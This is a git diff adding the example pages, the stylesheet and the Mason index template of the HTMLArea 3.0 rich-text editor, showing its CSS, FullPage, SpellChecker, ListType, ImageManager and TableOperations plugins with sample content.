+
+<p>A replacement for <code>TEXTAREA</code> elements.  &copy; <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="20" cols="80">
+  &lt;p&gt;Here is some sample text: &lt;b&gt;bold&lt;/b&gt;, &lt;i&gt;italic&lt;/i&gt;, &lt;u&gt;underline&lt;/u&gt;. &lt;/p&gt;
+  &lt;p align=center&gt;Different fonts, sizes and colors (all in bold):&lt;/p&gt;
+  &lt;p&gt;&lt;b&gt;
+   &lt;font face="arial"           size="7" color="#000066"&gt;arial&lt;/font&gt;,
+   &lt;font face="courier new"     size="6" color="#006600"&gt;courier new&lt;/font&gt;,
+   &lt;font face="georgia"         size="5" color="#006666"&gt;georgia&lt;/font&gt;,
+   &lt;font face="tahoma"          size="4" color="#660000"&gt;tahoma&lt;/font&gt;,
+   &lt;font face="times new roman" size="3" color="#660066"&gt;times new roman&lt;/font&gt;,
+   &lt;font face="verdana"         size="2" color="#666600"&gt;verdana&lt;/font&gt;,
+   &lt;font face="tahoma"          size="1" color="#666666"&gt;tahoma&lt;/font&gt;
+  &lt;/b&gt;&lt;/p&gt;
+  &lt;p&gt;Click on &lt;a href="http://www.interactivetools.com/"&gt;this link&lt;/a&gt; and then on the link button to the details ... OR ... select some text and click link to create a &lt;b&gt;new&lt;/b&gt; link.&lt;/p&gt;
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value="  submit  " />
+<input type="button" name="ins" value="  insert html  " onclick="return insertHTML();" />
+<input type="button" name="hil" value="  highlight text  " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/htmlarea/examples/css.html b/admin/htmlarea/examples/css.html
new file mode 100755 (executable)
index 0000000..5700d63
--- /dev/null
@@ -0,0 +1,88 @@
+<html>
+  <head>
+    <title>Test of CSS plugin</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <script type="text/javascript">
+      _editor_url = "../";
+      _editor_lang = "en";
+    </script>
+
+    <!-- load the main HTMLArea files -->
+    <script type="text/javascript" src="../htmlarea.js"></script>
+
+    <script type="text/javascript">
+      HTMLArea.loadPlugin("CSS");
+
+      function initDocument() {
+        var editor = new HTMLArea("editor");
+        editor.config.pageStyle = "@import url(custom.css);";
+        editor.registerPlugin(CSS, {
+          combos : [
+            { label: "Syntax",
+                         // menu text       // CSS class
+              options: { "None"           : "",
+                         "Code" : "code",
+                         "String" : "string",
+                         "Comment" : "comment",
+                         "Variable name" : "variable-name",
+                         "Type" : "type",
+                         "Reference" : "reference",
+                         "Preprocessor" : "preprocessor",
+                         "Keyword" : "keyword",
+                         "Function name" : "function-name",
+                         "Html tag" : "html-tag",
+                         "Html italic" : "html-helper-italic",
+                         "Warning" : "warning",
+                         "Html bold" : "html-helper-bold"
+                       },
+              context: "pre"
+            },
+            { label: "Info",
+              options: { "None"           : "",
+                         "Quote"          : "quote",
+                         "Highlight"      : "highlight",
+                         "Deprecated"     : "deprecated"
+                       }
+            }
+          ]
+        });
+        editor.generate();
+      }
+    </script>
+
+  </head>
+
+  <body onload="initDocument()">
+    <h1>Test of FullPage plugin</h1>
+
+    <textarea id="editor" style="height: 30em; width: 100%;"
+>&lt;h1&gt;&lt;tt&gt;registerDropdown&lt;/tt&gt;&lt;/h1&gt;
+
+&lt;p&gt;Here's some sample code that adds a dropdown to the toolbar.  Go on, do
+        syntax highlighting on it ;-)&lt;/p&gt;
+
+&lt;pre&gt;var the_options = {
+       "Keyword"          : "keyword",
+       "Function name"    : "function-name",
+       "String"           : "string",
+       "Numeric"          : "integer",
+       "Variable name"    : "variable"
+};
+var css_class = {
+       id                 : "CSS-class",
+       tooltip            : i18n["tooltip"],
+       options            : the_options,
+       action             : function(editor) { self.onSelect(editor, this); }
+};
+cfg.registerDropdown(css_class);
+toolbar[0].unshift(["CSS-class"]);&lt;/pre&gt;
+
+&lt;p&gt;Easy, eh? ;-)&lt;/p&gt;</textarea>
+
+    <hr />
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct  1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:16 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
diff --git a/admin/htmlarea/examples/custom.css b/admin/htmlarea/examples/custom.css
new file mode 100755 (executable)
index 0000000..e2690df
--- /dev/null
@@ -0,0 +1,29 @@
+body { background-color: #234; color: #dd8; font-family: tahoma; font-size: 12px; }
+
+a:link, a:visited { color: #8cf; }
+a:hover { color: #ff8; }
+
+h1 { background-color: #456; color: #ff8; padding: 2px 5px; border: 1px solid; border-color: #678 #012 #012 #678; }
+
+/* syntax highlighting (used by the first combo defined for the CSS plugin) */
+
+pre { margin: 0px 1em; padding: 5px 1em; background-color: #000; border: 1px dotted #02d; border-left: 2px solid #04f; }
+.code { color: #f5deb3; }
+.string { color: #00ffff; }
+.comment { color: #8fbc8f; }
+.variable-name { color: #fa8072; }
+.type { color: #90ee90; font-weight: bold; }
+.reference { color: #ee82ee; }
+.preprocessor { color: #faf; }
+.keyword { color: #ffffff; font-weight: bold; }
+.function-name { color: #ace; }
+.html-tag { font-weight: bold; }
+.html-helper-italic { font-style: italic; }
+.warning { color: #ffa500; font-weight: bold; }
+.html-helper-bold { font-weight: bold; }
+
+/* info combo */
+
+.quote { font-style: italic; color: #ee9; }
+.highlight { background-color: yellow; color: #000; }
+.deprecated { text-decoration: line-through; color: #aaa; }
diff --git a/admin/htmlarea/examples/full-page.html b/admin/htmlarea/examples/full-page.html
new file mode 100755 (executable)
index 0000000..74666b8
--- /dev/null
@@ -0,0 +1,75 @@
+<html>
+  <head>
+    <title>Test of FullPage plugin</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <script type="text/javascript">
+      _editor_url = "../";
+      _editor_lang = "en";
+    </script>
+
+    <!-- load the main HTMLArea files -->
+    <script type="text/javascript" src="../htmlarea.js"></script>
+
+    <script type="text/javascript">
+      HTMLArea.loadPlugin("FullPage");
+
+      function initDocument() {
+        var editor = new HTMLArea("editor");
+        editor.registerPlugin(FullPage);
+        editor.generate();
+      }
+    </script>
+
+  </head>
+
+  <body onload="initDocument()">
+    <h1>Test of FullPage plugin</h1>
+
+    <textarea id="editor" style="height: 30em; width: 100%;">
+      &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"&gt;
+      &lt;html&gt;
+        &lt;head&gt;
+          &lt;title&gt;FullPage plugin for HTMLArea&lt;/title&gt;
+          &lt;link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" /&gt;
+          &lt;link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" /&gt;
+        &lt;/head&gt;
+        &lt;body style="background-color: #ddddee; color: #000077;"&gt;
+          &lt;table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0"&gt;
+            &lt;tr&gt;
+              &lt;td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;"&gt;
+                FullPage plugin
+              &lt;/td&gt;
+            &lt;/tr&gt;
+            &lt;tr&gt;
+              &lt;td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;"&gt;
+                &lt;p&gt;
+                  This plugin enables one to edit a full HTML file in &lt;a
+                    href="http://dynarch.com/htmlarea/"&gt;HTMLArea&lt;/a&gt;.  This is not
+                  normally possible with just the core editor since it only
+                  retrieves the HTML inside the &lt;code&gt;body&lt;/code&gt; tag.
+                &lt;/p&gt;
+                &lt;p&gt;
+                  It provides the ability to change the &lt;code&gt;DOCTYPE&lt;/code&gt; of
+                  the document, &lt;code&gt;body&lt;/code&gt; &lt;code&gt;bgcolor&lt;/code&gt; and
+                  &lt;code&gt;fgcolor&lt;/code&gt; attributes as well as to add additional
+                  &lt;code&gt;link&lt;/code&gt;-ed stylesheets.  Cool, eh?
+                &lt;/p&gt;
+                &lt;p&gt;
+                  The development of this plugin was initiated and sponsored by
+                  &lt;a href="http://thycotic.com"&gt;Thycotic Software Ltd.&lt;/a&gt;.
+                  That's also cool, isn't it? ;-)
+                &lt;/p&gt;
+              &lt;/td&gt;
+            &lt;/tr&gt;
+          &lt;/table&gt;
+        &lt;/body&gt;
+      &lt;/html&gt;
+    </textarea>
+
+    <hr />
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct  1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:07 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
diff --git a/admin/htmlarea/examples/fully-loaded.html b/admin/htmlarea/examples/fully-loaded.html
new file mode 100755 (executable)
index 0000000..abced3e
--- /dev/null
@@ -0,0 +1,256 @@
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor.  We make it relative now, so that the
+    example ZIP file will work anywhere, but please NOTE THAT it's better to
+    have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+  _editor_url = "../";
+  _editor_lang = "en";
+</script>
+
+<!-- load the main HTMLArea file, this will take care of loading the CSS and
+    other required core scripts. -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<!-- load the plugins -->
+<script type="text/javascript">
+      // WARNING: using this interface to load plugin
+      // will _NOT_ work if plugins do not have the language
+      // loaded by HTMLArea.
+
+      // In other words, this function generates SCRIPT tags
+      // that load the plugin and the language file, based on the
+      // global variable HTMLArea.I18N.lang (defined in the lang file,
+      // in our case "lang/en.js" loaded above).
+
+      // If this lang file is not found the plugin will fail to
+      // load correctly and nothing will work.
+
+      HTMLArea.loadPlugin("TableOperations");
+      HTMLArea.loadPlugin("SpellChecker");
+      HTMLArea.loadPlugin("FullPage");
+      HTMLArea.loadPlugin("CSS");
+      HTMLArea.loadPlugin("ContextMenu");
+      HTMLArea.loadPlugin("HtmlTidy");
+      HTMLArea.loadPlugin("ListType");
+</script>
+
+<style type="text/css">
+html, body {
+  font-family: Verdana,sans-serif;
+  background-color: #fea;
+  color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+
+  // create an editor for the "ta" textbox
+  editor = new HTMLArea("ta");
+
+  // register the FullPage plugin
+  editor.registerPlugin(FullPage);
+
+  // register the SpellChecker plugin
+  editor.registerPlugin(TableOperations);
+
+  // register the SpellChecker plugin
+  editor.registerPlugin(SpellChecker);
+  
+  // register the HtmlTidy plugin
+  editor.registerPlugin(HtmlTidy);
+
+  // register the ListType plugin
+  editor.registerPlugin(ListType);
+
+  // register the CSS plugin
+  editor.registerPlugin(CSS, {
+    combos : [
+      { label: "Syntax:",
+                   // menu text       // CSS class
+        options: { "None"           : "",
+                   "Code" : "code",
+                   "String" : "string",
+                   "Comment" : "comment",
+                   "Variable name" : "variable-name",
+                   "Type" : "type",
+                   "Reference" : "reference",
+                   "Preprocessor" : "preprocessor",
+                   "Keyword" : "keyword",
+                   "Function name" : "function-name",
+                   "Html tag" : "html-tag",
+                   "Html italic" : "html-helper-italic",
+                   "Warning" : "warning",
+                   "Html bold" : "html-helper-bold"
+                 },
+        context: "pre"
+      },
+      { label: "Info:",
+        options: { "None"           : "",
+                   "Quote"          : "quote",
+                   "Highlight"      : "highlight",
+                   "Deprecated"     : "deprecated"
+                 }
+      }
+    ]
+  });
+
+  // add a contextual menu
+  editor.registerPlugin("ContextMenu");
+
+  // load the stylesheet used by our CSS plugin configuration
+  editor.config.pageStyle = "@import url(custom.css);";
+
+  setTimeout(function() {
+    editor.generate();
+  }, 500);
+  return false;
+}
+
+function insertHTML() {
+  var html = prompt("Enter some HTML code here");
+  if (html) {
+    editor.insertHTML(html);
+  }
+}
+function highlight() {
+  editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+     customizing the editor.  It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements.  &copy; <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN"&gt;
+&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt;Passing parameters to JavaScript code&lt;/title&gt;
+&lt;link rel="stylesheet" href="custom.css" /&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;h1&gt;Passing parameters to JavaScript code&lt;/h1&gt;
+
+&lt;p&gt;Sometimes we need to pass parameters to some JavaScript function that we
+wrote ourselves.  But sometimes it's simply more convenient to include the
+parameter not in the function call, but in the affected HTML elements.
+Usually, all JavaScript calls affect some element, right? ;-)&lt;/p&gt;
+
+&lt;p&gt;Well, here's an original way to do it.  Or at least, I think it's
+original.&lt;/p&gt;
+
+&lt;h2&gt;But first...&lt;/h2&gt;
+
+&lt;p&gt;... an example.  Why would I need such thing?  I have a JS function that
+is called on &lt;code&gt;BODY&lt;/code&gt; &lt;code&gt;onload&lt;/code&gt; handler.  This function
+tries to retrieve the element with the ID "conttoc" and, if present, it will
+&lt;a href="toc.epl" title="Automatic TOC generation"&gt;generate an index&lt;/a&gt;.
+The problem is, this function exists in some external JavaScript library
+that it's loaded in page.  I only needed to pass the parameter from
+&lt;em&gt;one&lt;/em&gt; page.  Thus, it makes sense to pass the parameter from the HTML
+code on &lt;em&gt;that&lt;/em&gt; page, not to affect the others.&lt;/p&gt;
+
+&lt;p&gt;The first idea that came to me was to use some attribute, like "id" or
+"class".  But "id" was locked already, it &lt;em&gt;had&lt;/em&gt; to be "conttoc".  Use
+"class"?  It's not elegant.. what if I really wanted to give it a class, at
+some point?&lt;/p&gt;
+
+&lt;h2&gt;The idea&lt;/h2&gt;
+
+&lt;p&gt;So I thought: what are the HTML elements that do not affect the page
+rendering in any way?  Well, comments.  I mean, &lt;em&gt;comments&lt;/em&gt;, HTML
+comments.  You know, like &lt;code&gt;&amp;lt;!-- this is a comment --&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+
+&lt;p&gt;Though comments do not normally affect the way browser renders the page,
+they are still parsed and are part of the DOM, as well as any other node.
+But this mean that we can access comments from JavaScript code, just like we
+access any other element, right?  Which means that they &lt;em&gt;can&lt;/em&gt; affect
+the way that page finally appears ;-)&lt;/p&gt;
+
+&lt;h2&gt;The code&lt;/h2&gt;
+
+&lt;p&gt;The main part was the idea.  The code is simple ;-)  Suppose we have the
+following HTML code:&lt;/p&gt;
+
+&lt;pre class="code"&gt;&lt;span class="function-name"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html-tag"&gt;div&lt;/span&gt; &lt;span class="variable-name"&gt;id=&lt;/span&gt;&lt;span class="string"&gt;&amp;quot;conttoc&amp;quot;&lt;/span&gt;&lt;span class="paren-face-match"&gt;&amp;gt;&lt;/span&gt;&lt;span class="function-name"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html-tag"&gt;/div&lt;/span&gt;&lt;span class="function-name"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
+
+&lt;p&gt;and our function checks for the presence an element having the ID
+"conttoc", and generates a table of contents into it.  Our code will also
+check if the "conttoc" element's first child is a comment node, and if so
+will parse additional parameters from there, for instance, a desired prefix
+for the links that are to be generated into it.  Why did I need it?  Because
+if the page uses a &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; element to specify the default
+link prefix, then links like "#gen1" generated by the &lt;a href="toc.epl"&gt;toc
+generator&lt;/a&gt; will not point to that same page as they should, but to the
+page reffered from &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt;.&lt;/p&gt;
+
+&lt;p&gt;So the HTML would now look like this:&lt;/p&gt;
+
+&lt;pre class="code"&gt;&lt;span class="function-name"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html-tag"&gt;div&lt;/span&gt; &lt;span class="variable-name"&gt;id=&lt;/span&gt;&lt;span class="string"&gt;&amp;quot;conttoc&amp;quot;&lt;/span&gt;&lt;span class="function-name"&gt;&amp;gt;&lt;/span&gt;&lt;span class="comment"&gt;&amp;lt;!-- base:link/prefix.html --&amp;gt;&lt;/span&gt;&lt;span class="paren-face-match"&gt;&amp;lt;&lt;/span&gt;&lt;span class="html-tag"&gt;/div&lt;/span&gt;&lt;span class="paren-face-match"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;
+
+&lt;p&gt;And our TOC generation function does something like this:&lt;/p&gt;
+
+&lt;pre class="code"&gt;&lt;span class="keyword"&gt;var&lt;/span&gt; &lt;span class="variable-name"&gt;element&lt;/span&gt; = getElementById(&amp;quot;&lt;span class="string"&gt;conttoc&lt;/span&gt;&amp;quot;);
+&lt;span class="keyword"&gt;if&lt;/span&gt; (element.firstChild &amp;amp;&amp;amp; element.firstChild.nodeType == 8) {
+  &lt;span class="comment"&gt;// 8 means Node.COMMENT_NODE.  We're using numeric values
+&lt;/span&gt;  &lt;span class="comment"&gt;// because IE6 does not support constant names.
+&lt;/span&gt;  &lt;span class="keyword"&gt;var&lt;/span&gt; &lt;span class="variable-name"&gt;parameters&lt;/span&gt; = element.firstChild.data;
+  &lt;span class="comment"&gt;// at this point &amp;quot;parameters&amp;quot; contains base:link/prefix.html
+&lt;/span&gt;  &lt;span class="comment"&gt;// ...
+&lt;/span&gt;}&lt;/pre&gt;
+
+&lt;p&gt;So we retrieved the value passed to the script from the HTML code.  This
+was the goal of this article.&lt;/p&gt;
+
+&lt;hr /&gt;
+&lt;address&gt;&lt;a href="http://students.infoiasi.ro/~mishoo/"&gt;Mihai Bazon&lt;/a&gt;&lt;/address&gt;
+&lt;!-- hhmts start --&gt; Last modified on Thu Apr  3 20:34:17 2003
+&lt;!-- hhmts end --&gt;
+&lt;!-- doc-lang: English --&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value="  submit  " />
+<input type="button" name="ins" value="  insert html  " onclick="return insertHTML();" />
+<input type="button" name="hil" value="  highlight text  " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/htmlarea/examples/images.html b/admin/htmlarea/examples/images.html
new file mode 100755 (executable)
index 0000000..ae38f9e
--- /dev/null
@@ -0,0 +1,66 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <title>Test of Image Manager plugin</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+    <style type="text/css">
+    /*<![CDATA[*/
+        <!--
+                .textarea { height: 30em; width: 80%; } 
+        -->
+        /*]]>*/
+    </style>
+    <script type="text/javascript">
+    //<![CDATA[
+      _editor_url = "../";
+      _editor_lang = "en";
+    //]]>
+    </script><!-- load the main HTMLArea file -->
+    <script type="text/javascript" src="../htmlarea.js">
+    </script>
+    <script type="text/javascript">
+    //<![CDATA[
+          
+                 HTMLArea.loadPlugin("ImageManager");
+                 HTMLArea.loadPlugin("CSS");
+                 HTMLArea.loadPlugin("ContextMenu");
+     initdocument = function () {
+        var editor = new HTMLArea("editor");
+  
+  // add a contextual menu
+  editor.registerPlugin("ContextMenu");
+
+  // load the stylesheet used by our CSS plugin configuration
+  editor.config.pageStyle = "@import url(http://devsys/www.dioceseofgaylord.com/diocese.css);";
+
+        editor.generate();
+      }
+        function addEvent(obj, evType, fn)
+        { 
+                if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+                else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+                else {  return false; } 
+        } 
+        addEvent(window, 'load', initdocument);
+    //]]>
+    </script>
+  </head>
+  <body>
+    <h1>HTMLArea 3 RC1 + Image Manager + Image Editor</h1>
+    <p>PHP Image Manager, Image Editor for HTMLArea. Requires PHP, GD or NetPBM or
+    ImageMagick.</p>
+    <ul>
+      <li>Auto cache thumbnails (JPEG, PNG, GIF depending on GD).</li>
+      <li>Filmstrip view.</li>
+      <li>Online Image Editor.</li>
+      <li>Create folders (if permitting).</li>
+      <li>Editor - Resize, Crop, Rotate, Save as.</li>
+    </ul>
+     <div><textarea id="editor" class="textarea" rows="10" cols="40"></textarea></div>
+    <hr />
+    <address>
+      <a href="http://www.zhuo.org/htmlarea/" title="Home of the ImageManger+Editor">Xiang Wei Zhuo</a>
+    </address>
+  </body>
+</html>
diff --git a/admin/htmlarea/examples/index.html b/admin/htmlarea/examples/index.html
new file mode 100755 (executable)
index 0000000..1fdeb30
--- /dev/null
@@ -0,0 +1,29 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<html> <head>
+<title>HTMLArea examples index</title>
+</head>
+
+<body>
+<h1>HTMLArea: auto-generated examples index</h1>
+
+<ul>
+% while (<*.html>) {
+% next if /^index.html$/;
+  <li>
+    <a href="<% $_ %>"><% $_ %></a>
+  </li>
+% }
+</ul>
+
+<hr />
+<address>mishoo@infoiasi.ro</address>
+<!-- hhmts start --> Last modified: Sun Feb  1 13:30:39 EET 2004 <!-- hhmts end -->
+</body> </html>
+
+<%INIT>
+my $dir = $m->interp->comp_root;
+$dir =~ s{/+$}{}g;
+#$dir =~ s{/[^/]+$}{}g;
+$dir .= $m->current_comp->dir_path;
+chdir $dir;
+</%INIT>
diff --git a/admin/htmlarea/examples/list-type.html b/admin/htmlarea/examples/list-type.html
new file mode 100755 (executable)
index 0000000..61233ac
--- /dev/null
@@ -0,0 +1,66 @@
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>Example of HTMLArea 3.0 -- ListType plugin</title>
+
+<script type="text/javascript">
+  _editor_lang = "en";
+  _editor_url = "../";
+</script>
+
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+  font-family: Verdana,sans-serif;
+  background-color: #fea;
+  color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("ListType");
+var editor = null;
+function initEditor() {
+  editor = new HTMLArea("ta");
+  editor.registerPlugin(ListType);
+  editor.generate();
+  return false;
+}
+</script>
+
+</head>
+
+<body onload="initEditor()">
+
+<h1>HTMLArea :: the ListType plugin</h1>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<p>List style type is selected using the CSS property
+&quot;list-style-type&quot;.  Hopefully it will work with Internet Explorer,
+right? ;-) Let's start the monster to test it out.<br /></p><p>Cool, it
+works.  Except for &quot;lower-greek&quot;, which doesn't seem to be
+supported (and worse, a gross error message is displayed).  Therefore, I
+hide that proerty from IE--it will only be available if the browser is not
+IE.<br /></p><ol style="list-style-type: decimal;"><li>This is a list<br
+/></li><li>with decimal numbers<br /></li><li>blah blah<br /></li><li>dolor
+sic amet<br /></li></ol><ol style="list-style-type: lower-greek;"><li>yet
+another</li><li>list with greek<br /></li><li>letters<br /></li><li>lorem
+ipsum<br /></li><li>yada yada<br /></li></ol>
+
+</textarea>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/htmlarea/examples/makefile.xml b/admin/htmlarea/examples/makefile.xml
new file mode 100755 (executable)
index 0000000..25a3877
--- /dev/null
@@ -0,0 +1,4 @@
+<files>
+  <file name="*.{js,html,css,cgi}" />
+  <file name="index.html" masonize="yes" />
+</files>
diff --git a/admin/htmlarea/examples/pieng.png b/admin/htmlarea/examples/pieng.png
new file mode 100755 (executable)
index 0000000..bea80e0
Binary files /dev/null and b/admin/htmlarea/examples/pieng.png differ
diff --git a/admin/htmlarea/examples/spell-checker.html b/admin/htmlarea/examples/spell-checker.html
new file mode 100755 (executable)
index 0000000..06c71a3
--- /dev/null
@@ -0,0 +1,132 @@
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor.  We make it relative now, so that the
+    example ZIP file will work anywhere, but please NOTE THAT it's better to
+    have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+  _editor_lang = "en";
+  _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+  font-family: Verdana,sans-serif;
+  background-color: #fea;
+  color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+HTMLArea.loadPlugin("SpellChecker");
+var editor = null;
+function initEditor() {
+  // create an editor for the "ta" textbox
+  editor = new HTMLArea("ta");
+
+  // register the SpellChecker plugin
+  editor.registerPlugin(SpellChecker);
+
+  editor.generate();
+  return false;
+}
+
+function insertHTML() {
+  var html = prompt("Enter some HTML code here");
+  if (html) {
+    editor.insertHTML(html);
+  }
+}
+function highlight() {
+  editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+     customizing the editor.  It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements.  &copy; <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Plugins:
+      <tt>SpellChecker</tt> (sponsored by <a
+        href="http://americanbible.org">American Bible Society</a>).
+</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>The <tt>SpellChecker</tt> plugin</h1>
+
+      <p>This file deminstrates the <tt>SpellChecker</tt> plugin of
+      HTMLArea.  To inwoke the spell checkert you need to press the
+      <em>spell-check</em> buton in the toolbar.</p>
+
+      <p>The spell-checker uses a serverside script written in Perl.  The
+        Perl script calls <a href="http://aspell.net">aspell</a> for any
+        word in the text and reports wordz that aren't found in the
+        dyctionari.</p>
+
+      <p>The document that yu are reading now <b>intentionaly</b> containes
+        some errorz, so that you have something to corect ;-)</p>
+
+      <p>Credits for the <tt>SpellChecker</tt> plugin go to:</p>
+
+      <ul>
+
+        <li><a href="http://aspell.net">Aspell</a> -- spell
+          checker</li>
+
+        <li>The <a href="http://perl.org">Perl</a> programming language</li>
+
+        <li><tt><a
+              href="http://cpan.org/modules/by-module/Text/Text-Aspell-0.02.readme">Text::Aspell</a></tt>
+          -- Perl interface to Aspell</li>
+
+        <li><a href="http://americanbible.org">American Bible Society</a> --
+          for sponsoring the <tt>SpellChecker</tt> plugin for
+          <tt>HTMLArea</tt></li>
+
+        <li><a href="http://dynarch.com/mishoo/">Your humble servant</a> for
+          implementing it ;-)</li>
+
+      </ul>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value="  submit  " />
+<input type="button" name="ins" value="  insert html  " onclick="return insertHTML();" />
+<input type="button" name="hil" value="  highlight text  " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
diff --git a/admin/htmlarea/examples/table-operations.html b/admin/htmlarea/examples/table-operations.html
new file mode 100755 (executable)
index 0000000..e5545ba
--- /dev/null
@@ -0,0 +1,116 @@
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor.  We make it relative now, so that the
+    example ZIP file will work anywhere, but please NOTE THAT it's better to
+    have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+  _editor_lang = "en";
+  _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+  font-family: Verdana,sans-serif;
+  background-color: #fea;
+  color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("TableOperations");
+
+var editor = null;
+function initEditor() {
+  // create an editor for the "ta" textbox
+  editor = new HTMLArea("ta");
+
+  // register the TableOperations plugin with our editor
+  editor.registerPlugin(TableOperations);
+
+  editor.generate();
+  return false;
+}
+
+function insertHTML() {
